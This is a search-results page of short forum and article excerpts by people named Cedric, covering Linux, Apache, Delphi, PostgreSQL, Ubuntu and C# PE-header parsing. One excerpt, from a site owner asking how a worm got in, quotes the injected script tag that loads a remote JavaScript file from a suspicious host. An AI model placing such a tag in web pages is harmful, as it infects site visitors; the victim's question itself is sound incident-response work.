Search Results

Search found 80 results on 4 pages for 'cedric aube'.

Page 1/4 | 1 2 3 4  | Next Page >

  • Tutoriel Perceptual Computing (introduction à Unity), par Cédric Andréolli

    Salut,Je viens vous présenter un tutoriel qui va probablement vous plaire. Citation: Le Perceptual Computing peut être défini comme un ensemble de techniques mises à disposition du développeur pour offrir une expérience nouvelle à l'utilisateur. Ce concept, développé par Intel®, est composé de deux éléments :une caméra possédant de nombreux capteurs (HD, profondeur, micro stéréo) ; un SDK développé par Intel permettant de récupérer des événements captés par la caméra. Le SDK permet de réaliser les tâches suivantes :

    Read the article

  • How to change the sender of admin mails on a Linux server

    - by Cédric Girard
    Hi, I am sure it is a dumb question, but I want to change the sender of mails sended by my Linux server (centos 5). All mails sent to user "dev" are forwarded via a /home/dev/.forward file, with this sender : [email protected]. host.mydomain.fr is the hostname of this server, but it's an internal server and it does not even have a public IP. How to have a sender like [email protected]? I try to change the "official domain name" (line begining by "Dj" but it change nothing). Regards Cédric

    Read the article

  • JS Worm : how to find the entry point

    - by Cédric Girard
    Hi, my site is tagged as dangerous by Google / StopBadware.org, and I found this in severals js/html files : <script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Gigahertz.js"></script> <!--a0e2c33acd6c12bdc9e3f3ba50c98197--> I cleaned severals files, I restore a backup but how to understand how the worm had been installed? What can I look for in log files? This server, a Centos 5, is only used as an apache server, with ours programs, a tikiwiki, a drupal installed. Thanks Cédric

    Read the article

  • Unity desktop "smears" (doesn't refresh) and shows no wallpaper

    - by Cedric Reichenbach
    Since a couple of days now, my unity desktop background smears everything, just like what old Windows versions were famous for: Of course, I tried rebooting a couple of times. Also, I switched graphics driver and I tried to change wallpaper and theme, but none of them solved the problem. What could be causing that problem, and where can I search on for its source? Infomation update I'm using Ubuntu 13.04 (not updated to 13.10 yet). The following command were all run from cinnamon (on the same Ubuntu installation). sudo lsb_release -a: No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 13.04 Release: 13.04 Codename: raring sudo uname -a: Linux cedric-MacBookPro 3.8.0-32-generic #47-Ubuntu SMP Tue Oct 1 22:35:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux sudo dpkg -l | grep xserver-xorg-video: ii xserver-xorg-video-all 1:7.7+1ubuntu4 amd64 X.Org X server -- output driver metapackage ii xserver-xorg-video-ati 1:7.1.0-0ubuntu2 amd64 X.Org X server -- AMD/ATI display driver wrapper ii xserver-xorg-video-cirrus 1:1.5.2-0ubuntu1 amd64 X.Org X server -- Cirrus display driver ii xserver-xorg-video-fbdev 1:0.4.3-0ubuntu1 amd64 X.Org X server -- fbdev display driver ii xserver-xorg-video-intel 2:2.21.6-0ubuntu4.3 amd64 X.Org X server -- Intel i8xx, i9xx display driver ii xserver-xorg-video-mach64 6.9.3-0ubuntu1 amd64 X.Org X server -- ATI Mach64 display driver ii xserver-xorg-video-mga 1:1.6.2-0ubuntu1 amd64 X.Org X server -- MGA display driver ii xserver-xorg-video-modesetting 0.7.0-0ubuntu2 amd64 X.Org X server -- Generic modesetting driver ii xserver-xorg-video-neomagic 1:1.2.7-0ubuntu1 amd64 X.Org X server -- Neomagic display driver ii xserver-xorg-video-nouveau 1:1.0.7-0ubuntu1 amd64 X.Org X server -- Nouveau display driver ii xserver-xorg-video-openchrome 1:0.3.1-0ubuntu1.13.04.1 amd64 X.Org X server -- VIA display driver ii xserver-xorg-video-qxl 0.1.0-0ubuntu3 amd64 X.Org X server -- QXL display driver ii xserver-xorg-video-r128 6.9.1-0ubuntu1 amd64 X.Org X server -- ATI r128 display driver ii xserver-xorg-video-radeon 1:7.1.0-0ubuntu2 amd64 X.Org X server -- AMD/ATI Radeon display driver ii xserver-xorg-video-s3 1:0.6.5-0ubuntu3 amd64 X.Org X server -- legacy S3 display driver ii xserver-xorg-video-savage 1:2.3.6-0ubuntu1 amd64 X.Org X server -- Savage display driver ii xserver-xorg-video-siliconmotion 1:1.7.7-0ubuntu1 amd64 X.Org X server -- SiliconMotion display driver ii xserver-xorg-video-sis 1:0.10.7-0ubuntu1 amd64 X.Org X server -- SiS display driver ii xserver-xorg-video-sisusb 1:0.9.6-0ubuntu1 amd64 X.Org X server -- SiS USB display driver ii xserver-xorg-video-tdfx 1:1.4.5-0ubuntu1 amd64 X.Org X server -- tdfx display driver ii xserver-xorg-video-trident 1:1.3.6-0ubuntu2 amd64 X.Org X server -- Trident display driver ii xserver-xorg-video-vesa 1:2.3.2-0ubuntu1 amd64 X.Org X server -- VESA display driver ii xserver-xorg-video-vmware 1:12.0.2+git.e5ac80d8-0ubuntu1 amd64 X.Org X server -- VMware display driver sudo lspci | grep VGA: 01:00.0 VGA compatible controller: NVIDIA Corporation GT216M [GeForce GT 330M] (rev a2)

    Read the article

  • How to directly send *.php.html files to browser without passing throught PHP? (Apache)

    - by Cédric Girard
    Hi, on my Apache/PHP server, file test.php.html is parsed by PHP, while test.html is not. PHPDOC create a lot of *.php.html files, with a XML header wich is a pain for PHP parser, but how to tell Apache not to pass *.php.html file to PHP and just send back the file to browser? My php.conf file <IfModule prefork.c> LoadModule php5_module modules/libphp5.so </IfModule> <IfModule worker.c> LoadModule php5_module modules/libphp5-zts.so </IfModule> AddHandler php5-script .php AddType text/html .php What can I do? Thanks, Bests regards Cédric

    Read the article

  • Soap Delphi Client end with a timeout for a 1MB call

    - by Cédric Girard
    Hi, we are developing a SOAP webservice (Apache/PHP). All run well for small size calls, but with a 1Mb soap call (the HTTPS call size is 1MB) our Delphi Soap client stop with a timeout on all PC but one, and our PHP clients run well with a default_socket_timeout=300, but stop with a "Error Fetching http headers" with default_socket_timeout=60. How can we change the timeout for Delphi? In fact this timeout seem to be in a Windows XP network library (wininet.dll called by soaphttptrans.pas) Thanks Cédric

    Read the article

  • Load SQL dump in PostgreSQL without the password dependancy

    - by Cédric Girard
    Hi, I want my unit tests suite to load a SQL file in my database. I use a command like "C:\Program Files\PostgreSQL\8.3\bin"\psql --host 127.0.0.1 --dbname unitTests --file C:\ZendStd\www\voo4\trunk\resources\sql\base_test_projectx.pg.sql --username postgres 2>&1 It run fine in command line, but need me to have a pgpass.conf Since I need to run unit tests suite on each of development PC, and on development server I want to simplify the deployment process. Is there any command line wich include password? Thanks, Cédric

    Read the article

  • [rails] user's account backup and restore

    - by Cédric
    Hi everyone, I am currently working on a project and i would like my users to be able to backup/restore theirs accounts. I am looking for a rails plugin/gem that would easily do that, ie : current_user.backup() = backup_file current_user.restore(backup_file) = database import/replace I don't know if my question is very clear, but i would like to backup every user's related object (posts, comments, etc) and to be able to restore them from a backup file. Thanks per advance, Cédric.

    Read the article

  • apt-get : Size mismatch

    - by Cédric Girard
    I created a private deb repository to spread a software and it's updates to 600 Ubuntu netbooks. Each time the network is connected, my script try to do a apt-get update. But sometimes (quite often in fact), I have this : Failed to fetch https://myserver/ubuntu/dists/maverick/main/binary-i386/voosicomat.deb Size mismatch The server is an 2.2 Apache, HTTPS only. There is no error on it's logs. Here is the script : apt-get update apt-get dist-upgrade --force-yes --yes Here is the complete output of apt-get Ign https://myserver maverick Release.gpg Ign https://myserver/ubuntu/ maverick/main Translation-en Ign https://myserver maverick Release Ign https://myserver maverick/main i386 Packages/DiffIndex Ign https://myserver maverick/main i386 Packages Ign https://myserver maverick/main i386 Packages Hit https://myserver maverick/main i386 Packages Reading package lists... Reading package lists... Building dependency tree... Reading state information... The following packages will be upgraded: majdb utilitaires voosicomat 3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 6207kB/6273kB of archives. After this operation, 0B of additional disk space will be used. WARNING: The following packages cannot be authenticated! utilitaires voosicomat majdb Get:1 https://myserver/ubuntu/ maverick/main voosicomat all 2.0.1 [4755kB] Get:2 https://myserver/ubuntu/ maverick/main majdb all 1.0.17 [1452kB] Failed to fetch https://myserver/ubuntu/dists/maverick/main/binary-i386/voosicomat.deb Size mismatch Fetched 7091kB in 21s (324kB/s) E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing? Regards Cédric

    Read the article

  • How to add a view helper directory (zend framework)

    - by Cédric Girard
    Hi, I begin with ZF (1.9.7), and I want to use View Helpers from a library shared between all my projects. But I can't find how to add it directory to the helpers path. My herpers works fines when I put them in application's helpers path. Here is the error, where I find the path to ZF helpers, and path to the applications ones. object(ArrayObject)#71 (3) { ["exception"]=> object(Zend_Loader_PluginLoader_Exception)#70 (6) { ["message:protected"]=> string(151) "Plugin by name 'Voo' was not found in the registry; used paths: Zend_View_Helper_: Zend/View/Helper/;C:/ZendStd/www/applis/VOO4_PROJECTX/views\helpers/" ["string:private"]=> string(0) "" ["code:protected"]=> int(0) ["file:protected"]=> string(89) "C:\Program Files\Zend\ZendServer\share\ZendFramework\library\Zend\Loader\PluginLoader.php" ["line:protected"]=> int(401) Best regards Cédric

    Read the article

  • Eclipse 3.5 and Ubuntu 9.10, subversion client does not work

    - by Cédric Girard
    Hi, I had installed Eclipse 3.5 Yoxos on my Ubuntu 8.04 for month, and run fine. I had upgraded to 9.10 last week, and the subversion plugin does not work since upgrade. When I try to update or commit, Subversion work for hours without any progress in console or progress bars. I can delete files or add them to SVN, but commands wich involve network just hang. SVN run fine using command line. I have already patched the GDK problem. Since this I can cancel update/commit without crashing Eclipse. Regards Cédric

    Read the article

  • linux user login/logout log for computer restriction

    - by Cedric
    Hi ! I would like to know how to log the login and logout of a user. I know it's possible to use the command "last". But this command is based on a file that has a r/w permission for the user, hence the possibility to change these data. I would like to log these data over two months. Why would I like to do that ? In fact, I would like to prevent a normal user to use a computer more than an hour a day - except week-ends, and 10 hours in total a week. Cedric System used : kubuntu, Programming language : bash script

    Read the article

  • File Encoding handling in Eclipse 3.5

    - by Cédric Girard
    Hi, I use Eclipse 3.5 on Windows, with PDT and Subclipse plugins, with both legacy projects using ISO-8859-1 encoding (latin-1), and newers ones wich use UTF-8. I configured my workspace to use UTF-8, and I configured old projects to use latin-1. But every time I open an old project, it use UTF-8. With a workspace using latin-1 by default, I have the same problem with utf-8 projects edited as iso-8859-1. My encoding choice is written in the file .settings/org.eclipse.core.resources.prefs but seems to be never read. The only solution for now is to have a latin1 workspace, and an utf8 one. Any better idea? Regards, Cédric

    Read the article

  • SQLDatasource CommandTimeout not working

    - by Cedric Aube
    Good day, I'm using a SQLDataSource with a dynamic query generated c#, based on user choices in many fields. However, since our tables are very large, sometimes, I get a command timeout exception. I tried to set the property in 'Selecting' of the SqlDataSource like so: protected void SqlDataSource_PSearch_Selecting(object sender, SqlDataSourceSelectingEventArgs e) { e.Command.CommandTimeout = 900; } but with not luck, like if this attribute was ignored. .NET 2.0, Sql server 2005. Any idea?

    Read the article

  • From Binary to Data Structures

    - by Cédric Menzi
    Table of Contents Introduction PE file format and COFF header COFF file header BaseCoffReader Byte4ByteCoffReader UnsafeCoffReader ManagedCoffReader Conclusion History This article is also available on CodeProject Introduction Sometimes, you want to parse well-formed binary data and bring it into your objects to do some dirty stuff with it. In the Windows world most data structures are stored in special binary format. Either we call a WinApi function or we want to read from special files like images, spool files, executables or may be the previously announced Outlook Personal Folders File. Most specifications for these files can be found on the MSDN Libarary: Open Specification In my example, we are going to get the COFF (Common Object File Format) file header from a PE (Portable Executable). The exact specification can be found here: PECOFF PE file format and COFF header Before we start we need to know how this file is formatted. The following figure shows an overview of the Microsoft PE executable format. Source: Microsoft Our goal is to get the PE header. As we can see, the image starts with a MS-DOS 2.0 header with is not important for us. From the documentation we can read "...After the MS DOS stub, at the file offset specified at offset 0x3c, is a 4-byte...". With this information we know our reader has to jump to location 0x3c and read the offset to the signature. The signature is always 4 bytes that ensures that the image is a PE file. The signature is: PE\0\0. To prove this we first seek to the offset 0x3c, read if the file consist the signature. So we need to declare some constants, because we do not want magic numbers.   private const int PeSignatureOffsetLocation = 0x3c; private const int PeSignatureSize = 4; private const string PeSignatureContent = "PE";   Then a method for moving the reader to the correct location to read the offset of signature. With this method we always move the underlining Stream of the BinaryReader to the start location of the PE signature.   private void SeekToPeSignature(BinaryReader br) { // seek to the offset for the PE signagure br.BaseStream.Seek(PeSignatureOffsetLocation, SeekOrigin.Begin); // read the offset int offsetToPeSig = br.ReadInt32(); // seek to the start of the PE signature br.BaseStream.Seek(offsetToPeSig, SeekOrigin.Begin); }   Now, we can check if it is a valid PE image by reading of the next 4 byte contains the content PE.   private bool IsValidPeSignature(BinaryReader br) { // read 4 bytes to get the PE signature byte[] peSigBytes = br.ReadBytes(PeSignatureSize); // convert it to a string and trim \0 at the end of the content string peContent = Encoding.Default.GetString(peSigBytes).TrimEnd('\0'); // check if PE is in the content return peContent.Equals(PeSignatureContent); }   With this basic functionality we have a good base reader class to try the different methods of parsing the COFF file header. COFF file header The COFF header has the following structure: Offset Size Field 0 2 Machine 2 2 NumberOfSections 4 4 TimeDateStamp 8 4 PointerToSymbolTable 12 4 NumberOfSymbols 16 2 SizeOfOptionalHeader 18 2 Characteristics If we translate this table to code, we get something like this:   [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct CoffHeader { public MachineType Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public Characteristic Characteristics; } BaseCoffReader All readers do the same thing, so we go to the patterns library in our head and see that Strategy pattern or Template method pattern is sticked out in the bookshelf. I have decided to take the template method pattern in this case, because the Parse() should handle the IO for all implementations and the concrete parsing should done in its derived classes.   public CoffHeader Parse() { using (var br = new BinaryReader(File.Open(_fileName, FileMode.Open, FileAccess.Read, FileShare.Read))) { SeekToPeSignature(br); if (!IsValidPeSignature(br)) { throw new BadImageFormatException(); } return ParseInternal(br); } } protected abstract CoffHeader ParseInternal(BinaryReader br);   First we open the BinaryReader, seek to the PE signature then we check if it contains a valid PE signature and rest is done by the derived implementations. Byte4ByteCoffReader The first solution is using the BinaryReader. It is the general way to get the data. We only need to know which order, which data-type and its size. If we read byte for byte we could comment out the first line in the CoffHeader structure, because we have control about the order of the member assignment.   protected override CoffHeader ParseInternal(BinaryReader br) { CoffHeader coff = new CoffHeader(); coff.Machine = (MachineType)br.ReadInt16(); coff.NumberOfSections = (ushort)br.ReadInt16(); coff.TimeDateStamp = br.ReadUInt32(); coff.PointerToSymbolTable = br.ReadUInt32(); coff.NumberOfSymbols = br.ReadUInt32(); coff.SizeOfOptionalHeader = (ushort)br.ReadInt16(); coff.Characteristics = (Characteristic)br.ReadInt16(); return coff; }   If the structure is as short as the COFF header here and the specification will never changed, there is probably no reason to change the strategy. But if a data-type will be changed, a new member will be added or ordering of member will be changed the maintenance costs of this method are very high. UnsafeCoffReader Another way to bring the data into this structure is using a "magically" unsafe trick. As above, we know the layout and order of the data structure. Now, we need the StructLayout attribute, because we have to ensure that the .NET Runtime allocates the structure in the same order as it is specified in the source code. We also need to enable "Allow unsafe code (/unsafe)" in the project's build properties. Then we need to add the following constructor to the CoffHeader structure.   [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct CoffHeader { public CoffHeader(byte[] data) { unsafe { fixed (byte* packet = &data[0]) { this = *(CoffHeader*)packet; } } } }   The "magic" trick is in the statement: this = *(CoffHeader*)packet;. What happens here? We have a fixed size of data somewhere in the memory and because a struct in C# is a value-type, the assignment operator = copies the whole data of the structure and not only the reference. To fill the structure with data, we need to pass the data as bytes into the CoffHeader structure. This can be achieved by reading the exact size of the structure from the PE file.   protected override CoffHeader ParseInternal(BinaryReader br) { return new CoffHeader(br.ReadBytes(Marshal.SizeOf(typeof(CoffHeader)))); }   This solution is the fastest way to parse the data and bring it into the structure, but it is unsafe and it could introduce some security and stability risks. ManagedCoffReader In this solution we are using the same approach of the structure assignment as above. But we need to replace the unsafe part in the constructor with the following managed part:   [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct CoffHeader { public CoffHeader(byte[] data) { IntPtr coffPtr = IntPtr.Zero; try { int size = Marshal.SizeOf(typeof(CoffHeader)); coffPtr = Marshal.AllocHGlobal(size); Marshal.Copy(data, 0, coffPtr, size); this = (CoffHeader)Marshal.PtrToStructure(coffPtr, typeof(CoffHeader)); } finally { Marshal.FreeHGlobal(coffPtr); } } }     Conclusion We saw that we can parse well-formed binary data to our data structures using different approaches. The first is probably the clearest way, because we know each member and its size and ordering and we have control about the reading the data for each member. But if add member or the structure is going change by some reason, we need to change the reader. The two other solutions use the approach of the structure assignment. In the unsafe implementation we need to compile the project with the /unsafe option. We increase the performance, but we get some security risks.

    Read the article

  • Upgrading only several packages, ou packages from one source

    - by Cédric Girard
    we use Deb/apt system to deploy PHP softwares (around 200 + libraries with dependencies). We have a build server, scripts, and a private repository. It's ok and run fine but we want to update ours packages very often, and update Ubuntu packages only when our adminsys have time to handle them. How can we do? The only solution I see for now is to iterate on package list and do a apt-get install $packagename. Not very easy or even resilient. Another idea?

    Read the article

  • Webcam surveillance software recommendation

    - by Cedric H.
    I'm looking for a simple "surveillance" or "security" software for Ubuntu. The main goal is to monitor my pets, so the features should be quite simple, in addition I'll use a few (2 at the beginning) basic (old) webcams. I would like it to detect motion and to save the pictures/recording on the local disk, in addition to sending email (+ ideally: posting on facebook). The easier to use/configure the better.

    Read the article

  • What are the options for simple Ajax calls for a Java webapp?

    - by Cedric Martin
    I've got a very simple need and I don't know what are the options available. If I simplify, users see webpage like this server by a Java webapp server: [-] red [x] green [-] blue [-] yellow The selected color is green And then I want the user to be able to select the yellow color and have the part of the page containing the relevant text change to: [-] red [-] green [-] blue [x] yellow The selected color is yellow Basically I want something a bit more user friendly than simply using HTTP GET all the time. There shall be a lot of options the user can select from and this shall affect an (HTML formatted) text displayed on the page. And I want the user to see his change as soon as possible, without having the page to fully reload and without being redirected to another page. There shall be a client/server round-trip (the information to display depending on the options selected ain't available on the client-side so I cannot do it all in JavaScript in the browser). I'd like to use Ajax requests but I don't know which way to go: jQuery GWT something else What are my options and what would be the pros and cons of the various approach? P.S: I'm very familiar with Java (SCP since the last century and basically being a Java programmer for the last 12 years or so) but not familiar at all with JavaScript (though I did hack a few Ajaxy-calls years ago, way before great libraries existed).

    Read the article

  • 12.04 installation started to black screen during boot today

    - by Cedric
    NOTE: Most of this question is now irrelevant. UPDATE 3 summarizes the problem as it stands. I've been running 12.04 on my Lenovo laptop for one month now (updated from 11.04), and I have not had any significant problem until today. This morning, when I boot, I pass the Grub screen, then I get to the purple loading screen with dots as usual, then for some reason I got to the terminal login, with no GUI. startx gives me a black screen. Ctrl+F7-F8 didn't help either. It's similar to: After the update today no graphical interface anymore - 12.04 I followed the instructions at the end, to flush the ATI drivers (which I had installed), and fall back to the community drivers. That made me lose the login! Now I just get a black screen after the Ubuntu loading screen. I can still access the console through recovery, and I've gotten into VESA mode once or twice (not reproducible, for some reason). I've tried various permutations of xorg.conf, without success. Xorg -configure fails for now, though I might be able to get it to work. apt-get update/upgrade doesn't improve anything either. However, both Windows and the 12.04 Live CD still work beautifully, and I know that all my data is still there. Is there any way that I could somehow take the configuration from the Live CD and roll with it? I know that I could reinstall, but that sucks, frankly, especially given that there's no straight-forward way of keeping the home (which, incidentally, is unaccessible from the Live CD) Thank you. Update: it seems that the fglrx drivers are still active, even after I've --purged them. From Xorg.0.log: [ 18.235] (WW) fglrx(0): *********************************************************** [ 18.235] (WW) fglrx(0): * DRI initialization failed * [ 18.235] (WW) fglrx(0): * kernel module (fglrx.ko) may be missing or incompatible * [ 18.235] (WW) fglrx(0): * 2D and 3D acceleration disabled * [ 18.235] (WW) fglrx(0): *********************************************************** [ 18.235] Fatal server error: [ 18.235] AddScreen/ScreenInit failed for driver 0 There's also a mention of the "fbdev" module. What is it? PARTIALLY SOLVED: I've undone the damage from the fglrx purge. I'm still mystified as to why uninstalling the packages didn't kill fglrx entirely, but I've now recovered the prompt. The solution to the DRI initialization error was to add radeon.modeset=0 to the GRUB boot options. So I'm back to being dropped to a prompt without any GUI. startx gives me a bunch of messages, though no obvious errors. I have little reason to suspect the video drivers, as they worked fine before today. There is no apparent error message in any of the log files. UPDATE: When I startx, I get an error, Plymounth command failed mountall: Disconnected from Plymouth This is all over the Internet, but I have not found anything that works for me yet. UPDATE 3: If I press ESC during boot, the splash screen (Plymouth!) disappears, and I no longer have any error from Plymouth. The last error message is: Stopping mount filesystems on boot I can then Ctrl+Alt+F1 to get the TTY1, but startx still does not work. Sadly, the Internet knows nothing about this error message, and neither do I. Help!

    Read the article

  • When there's no TCO, when to worry about blowing the stack?

    - by Cedric Martin
    Every single time there's a discussion about a new programming language targetting the JVM, there are inevitably people saying things like: "The JVM doesn't support tail-call optimization, so I predict lots of exploding stacks" There are thousands of variations on that theme. Now I know that some language, like Clojure for example, have a special recur construct that you can use. What I don't understand is: how serious is the lack of tail-call optimization? When should I worry about it? My main source of confusion probably comes from the fact that Java is one of the most succesful languages ever and quite a few of the JVM languages seems to be doing fairly well. How is that possible if the lack of TCO is really of any concern?

    Read the article

  • Is shipping a Clojure desktop app realistic?

    - by Cedric Martin
    I'm currently shipping a desktop Java application. It is a plain old Java 5 Java / Swing app and so far everything worked nicely. Java 5 was targetted because some users were on OS X version / computers that shall never have Java 6 (we may lift this limitation soon and switch to a newer Java and simply abandoning my users stuck with Java 5). I'm quickly getting up to speed with Clojure but I haven't really done lots of Clojure-to-Java and Java-to-Clojure yet and I was wondering if it was realistic to ship a Clojure desktop application instead of a Java application? The application I'm shipping is currently about 12 MB with all the .jar so adding Clojure doesn't seen to be too much of an issue. My plan would be to have Clojure call Java APIs: my application is already divided in several independent jars. If I understand correctly calling Clojure from Java is harder than calling Java code from Clojure which is why I'd basically rewrite all the UI (part of the UI, mixing Swing components and self-made BufferedImages needs to be rewritten anyway due to the rise of retina display), and do all the 'wiring' from Clojure. So that's the problem I'm facing: is it realistic to ship a Clojure desktop app? (it certainly doesn't seem to be very widespread but then shipping plain Java desktop apps ain't that common either and I'm doing it anyway) Technically, what would need to be done? (compared to shipping a Java app)

    Read the article

  • Parallelism implies concurrency but not the other way round right?

    - by Cedric Martin
    I often read that parallelism and concurrency are different things. Very often the answerers/commenters go as far as writing that they're two entirely different things. Yet in my view they're related but I'd like some clarification on that. For example if I'm on a multi-core CPU and manage to divide the computation into x smaller computation (say using fork/join) each running in its own thread, I'll have a program that is both doing parallel computation (because supposedly at any point in time several threads are going to run on several cores) and being concurrent right? While if I'm simply using, say, Java and dealing with UI events and repaints on the Event Dispatch Thread plus running the only thread I created myself, I'll have a program that is concurrent (EDT + GC thread + my main thread etc.) but not parallel. I'd like to know if I'm getting this right and if parallelism (on a "single but multi-cores" system) always implies concurrency or not? Also, are multi-threaded programs running on multi-cores CPU but where the different threads are doing totally different computation considered to be using "parallelism"?

    Read the article

  • Can the Clojure set and maps syntax be added to other Lisp dialects?

    - by Cedric Martin
    In addition to create list using parentheses, Clojure allows to create vectors using [ ], maps using { } and sets using #{ }. Lisp is always said to be a very extensible language in which you can easily create DSLs etc. But is Lisp so extensible that you can take any Lisp dialect and relatively easily add support for Clojure's vectors, maps and sets (which are all functions in Clojure)? I'm not necessarily asking about cons or similar actually working on these functions: what I'd like to know is if the other could be modified so that the source code would look like Clojure's source code (that is: using matching [ ], { } and #{ } in addition to ( )). Note that if it cannot be done this is not a criticism of Lisp: what I'd like to know is, technically, what should be done or what cannot be done if one were to add such a thing.

    Read the article

1 2 3 4  | Next Page >